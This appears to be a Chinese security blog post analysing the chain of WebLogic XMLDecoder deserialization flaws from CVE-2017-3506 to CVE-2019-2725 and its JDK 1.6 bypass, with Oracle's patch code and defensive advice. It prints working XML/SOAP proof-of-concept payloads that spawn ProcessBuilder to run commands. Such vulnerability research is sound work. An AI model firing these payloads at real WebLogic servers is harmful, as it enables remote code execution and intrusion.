从CVE-2017-3506为起点至今,weblogic接二连三的吧爆出了大量的反序列化漏洞,而这些反序列化漏洞的很大一部分,都是围绕着XMLDecoder的补丁与补丁的绕过展开的,所以笔者以CVE-2017-3506为起点,到近期的CVE-2019-2725及其绕过来谈一谈这两年weblogic在XMLDecoder上的缝缝补补。
认识XMLDecoder
首先去看一下XMLDecoder的官方文档,如下:
XMLDecoder 类用于读取使用 XMLEncoder 创建的 XML 文档,用途类似于 ObjectInputStream。例如,用户可以使用以下代码片段来读取以 XML 文档形式(通过 XMLEncoder 类写入)定义的第一个对象:
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Test.xml")));
Object result = d.readObject();
d.close();
作为一名java反序列化的研究人员,看到readObject()函数就应该带有一丝兴奋,至少代表我们找到入口了。
先不去管在weblogic上的利用,我们先构造一个特殊的poc.xml文件,让XMLDecoder去解析一下,看一下流程
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ls</string>
</void>
</array>
<void method="start"/>
</object>
</java>
再写一个简单的利用XMLDecoder解析xml文件的demo,
import java.beans.XMLDecoder;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException, InterruptedException {
File file = new File("poc.xml");
XMLDecoder xd = null;
try {
xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
} catch (Exception e) {
e.printStackTrace();
}
Object s2 = xd.readObject();
xd.close();
}
}
因为会触发命令执行,所以先直接在ProcessBuilder的start函数上打上断点,看一下调用栈,
我们关注的重点在于从xml到ProcessBuilder类被实例化的过程,所以去跟进一下DocumentHandler类,我们去看几个核心函数,
首先看到了构造函数,看一看到为不同的标签定义了不同的Handler,
再看一下startElement函数,它用来实例化对应的Element,并给当前handler设置Owner和Parent,关于Owner和Parent,直接引用@fnmsd写的内容:
parent
最外层标签的ElementHandler的parent为null,而后依次为上一级标签对应的ElementHandler。
owner
ElementHandler: 固定owner为所属DocumentHandler对象。
DocumentHandler: owner固定为所属XMLDecoder对象。
然后看一下endElement函数,
他会直接调用对应的ElementHandler的endElement函数,代码如下,
接下来一连串的Handler的getValueObject调用之后,到达了ObjectElementHandler的getValueObject函数,并在该函数内将我们标签内的值传给了Expression类,
在调用了getValue方法后,成功将ProcessBuilder类的实例返回,
接下来再返回给VoidElementHandler将start函数传过来,调用start函数,命令执行成功。
最后补上一张@ fnmsd给出的XMLDecoder解析xml的流程图以加深理解。
CVE-2017-3506
上一节已经可以看到,XMLDecoder在解析xml的时候,通过构造特殊的xml文件是可以造成命令执行的,接下来我们就可以来看一下第一个weblogic由于XMLDEcoder导致的命令执行漏洞CVE-2017-3506。
先上POC,
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string> open /Applications/Calculator.app/</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
调用链我们只跟到XMLDecoder.readObject(),因为剩下的都是上一节的内容了,
在processRequest函数中,会对传入的payload进行分割,把真正的xml交给readHeaderOld函数处理,
readHeaderOld函数则是将真正的xml传给XMLDecoder,并在后续的一连串调用中将XMLDecoder实例化调用其readObject函数,于是便造成了命令执行。
CVE-2017-10271
在CVE-2017-3506爆出后,我们去看一下官方的补丁,代码如下:
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
补丁非常的简单,一旦标签是object,系统报错,于是立马出了第二版的poc,CVE-2017-10271:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string> open /Applications/Calculator.app/</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
乍一看这个poc,简直和CVE-2017-3506一模一样,唯一得到区别就是
<object class=”java.lang.ProcessBuilder”>变成了
<void class=”java.lang.ProcessBuilder”>
仅仅是类的标签类型由object变成了void,我们去看一下VoidElementHandler的源码:
可以看到VoidElementHandler是ObjectElementHandler类的子类,这也就解释了为什么把object标签换成Void标签也同样可以造成命令执行。
CVE-2019-2725
时隔一年多,CVE-2019-2725爆出,这次的漏洞是要分两块来看的,
- 新爆出的存在反序列化的组件_async
- CVE-2017-10271的补丁被绕过
首先看第一点,在ProcessBuilder的start函数上打一个断点,先看一下async组件在处理xml时候的调用链(老规矩只追到XMLDecoder.readObject函数),
引用廖大神的分析思路,请求会经过webservice注册的21个Handler来处理,看一下HandlerIterator类,就能发现对应的21个Handler,
21个Handler里面AsyncResponseHandler应该是我们重点关注的那一个,跟进去看一下源码的handleRequest方法,
可以看到要想让程序往下走,必须保证var2有值,也就是RelatesTo有值,这也就是为什么payload里面有
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
这两行的原因。
关于WS-Addressing的使用,也可以去参考官方文档(https://www.w3.org/Submission/ws-addressing/),有助于深刻理解。
走过各种Handler后来到WorkAreaServerHandler,对xml进行了拆分,接下来的调用就和前面一样了(xml交给XMLDecoder,调用readObject方法),
分析完async组件后,就来到了另一个问题上,如何绕过CVE-2017-10271的补丁,老套路,我们先看一下补丁内容,
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
这次的补丁内容我们文字化一下:
- 禁用object、new、method标签
- 如果使用void标签,只能有index属性
- 如果使用array标签,且标签使用的是class属性,则它的值只能是byte
这次的补丁可以说是比上一次严格的多,前两点虽然很大程度上限制了我们不能随意生成对象,调用方法,但好在还有一个class标签可以使用,最关键的还在于第三点,它限制了我们的参数不能再是String类型,而只能是byte类型,所以我们的思路只能从这一点出发,整理一下思路,我们要寻找的是这样一个类:
- 他的成员变量是byte类型
- 在该类进行实例化的时候就能造成命令执行。
于是便有了oracle.toplink.internal.sessions.UnitOfWorkChangeSet来满足我们的需求。
看一下构造函数,该类会对传给它的byte值进行反序列化,可以看到这是一个标准的二次反序列化,于是满足二次反序列的payload应该都可以用,如AbstractPlatformTransactionManager、7u21等等。
具体payload如下:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
<void index="0">
<byte>-84</byte>
...
...
</array></void></class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
关于二次反序列的原理不再一一分析,大佬们早已经给出了非常详尽的解释,有兴趣可以去廖大神的博客(http://xxlegend.com)学习一下,也可以选择读一下ysoserial的7u21模块代码就ok。
针对此次漏洞,官方给出的修复补丁处理比较简单,禁用class标签。
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int i = 0; i < attributes.getLength(); ++i) {
if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
}
}
}
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
不过7u21模块有一点要提一下,7u21模块利用的最后会通过将TemplatesImpl对象的_bytecodes变量动态生成为对象,于是该类的static block和构造函数便会自动执行,而这个类又是攻击者可以随便构造的,于是便造成了命令执行。
由于此次漏洞的payload是byte写的,而由于攻击利用类又是动态生成的,所以分析攻击者的代码是个比较麻烦的事情,所以下面给出如何将payload中攻击者代码还原出来的方法。
- 开启weblogic远程调试,并把断点打在ProcessBuilder类的start函数中(因为此时攻击类已经动态生成成功,但是没法直接在编译器里查看代码)
- 使用jps -l命令查看weblogic的pid
3、运行sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB命令查看对应PID的内存,
4、搜索内存中的动态生成类,并生成class文件,反编译一下,就可以看到攻击者写的自定义类了。
CVE-2019-2725绕过
最近网上又流传了CVE-2019-2725绕过的poc,如下:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<array method="forName">
<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
<array class="byte" length="3748">
...
</array>
</void>
</array>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
刚拿到poc的时候,看了一下思路,因为<class>标签被禁了,所以通过
<array method=”forName”>来绕过补丁。思路是比较清晰的,通过Class.forName(classname)来取到我们想要的类,从而绕过class标签被禁的问题。
但刚看到这个poc的时候,我第一个疑问就是,array居然可以使用method属性吗?所以立马去看了一下ArrayElementHandler类的内容,
只支持length标签,但是它是NewElementHandler的子类,那再去看看NewElementHandler
支持class标签,但是它是ElementHandler的子类,再去看一下ElementHandler
发现到最后也没找到它支持method属性。
马上去我自己的环境里面试一下,没法复现成功,一度以为这个poc是假的,但后来想了一下,我的环境里面只有1.7和1.8的jdk,会不会是jdk版本太高了,立马去1.6试一下,果然复现成功,看来1.6的XMLDecoder的代码和1.7\1.8不太一样。
去跟进一下jdk 1.6的XMLDecoder,根据原理去写一个简单一点的poc.xml,测试demo继续使用第一章的就行
<?xml version="1.0" encoding="UTF-8"?>
<java>
<array method="forName">
<string>java.lang.ProcessBuilder</string>
<void>
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open /Applications/Calculator.app/</string>
</void>
</array>
<void method="start" />
</void>
</array>
</java>
发现jdk1.6的XMLDecoder代码简单很多,根本没有那么多的ElementHandler,直接统一放在ObjectHandler的代码里面处理。
而对标签的处理,也可以说是非常的朴实无华了,看一下startElement,
public void startElement(String var1, AttributeList var2) throws SAXException {
...
...
String var8 = (String)var3.get("method");
if (var8 == null && var6 == null) {
var8 = "new";
}
var4.setMethodName(var8);
...
...
} else if (var1 == "array") {
var14 = (String)var3.get("class");
Class var10 = var14 == null ? Object.class : this.classForName2(var14);
var11 = (String)var3.get("length");
if (var11 != null) {
var4.setTarget(Array.class);
var4.addArg(var10);
var4.addArg(new Integer(var11));
}
我这里只截取关键部分代码,首先可以看到代码根本不管你的标签是什么,只要有methond属性,那就算作你的方法名,并且如果你的标签是array标签,而有没有class属性,自动给你补一个Class,完美契合需求,所以就可以直接通过Class.forName来取到我们需要的类了。
这样也就绕过了对class标签的过滤,不过只能在1.6的jdk利用。
思考与总结
根据近些年weblogic由于XMLDecoder导致的反序列漏洞的缝缝补补中,可以看到虽然绕过的poc层出不穷,但是利用的范围却越来越窄,从一开始的所有jdk通用,到7u21以下可以利用成功,再到最近的绕过已经只能在1.6利用成功,可以看到,保持jdk版本的高版本可以有效的防范java反序列化攻击。与此同时,对于基本用不到的weblogic组件,还是能删就删为好。
引用
http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/
https://blog.csdn.net/fnmsd/article/details/89889144
http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/
http://xxlegend.com/2019/04/30/CVE-2019-2725%E5%88%86%E6%9E%90/
发表评论
您还未登录,请先登录。
登录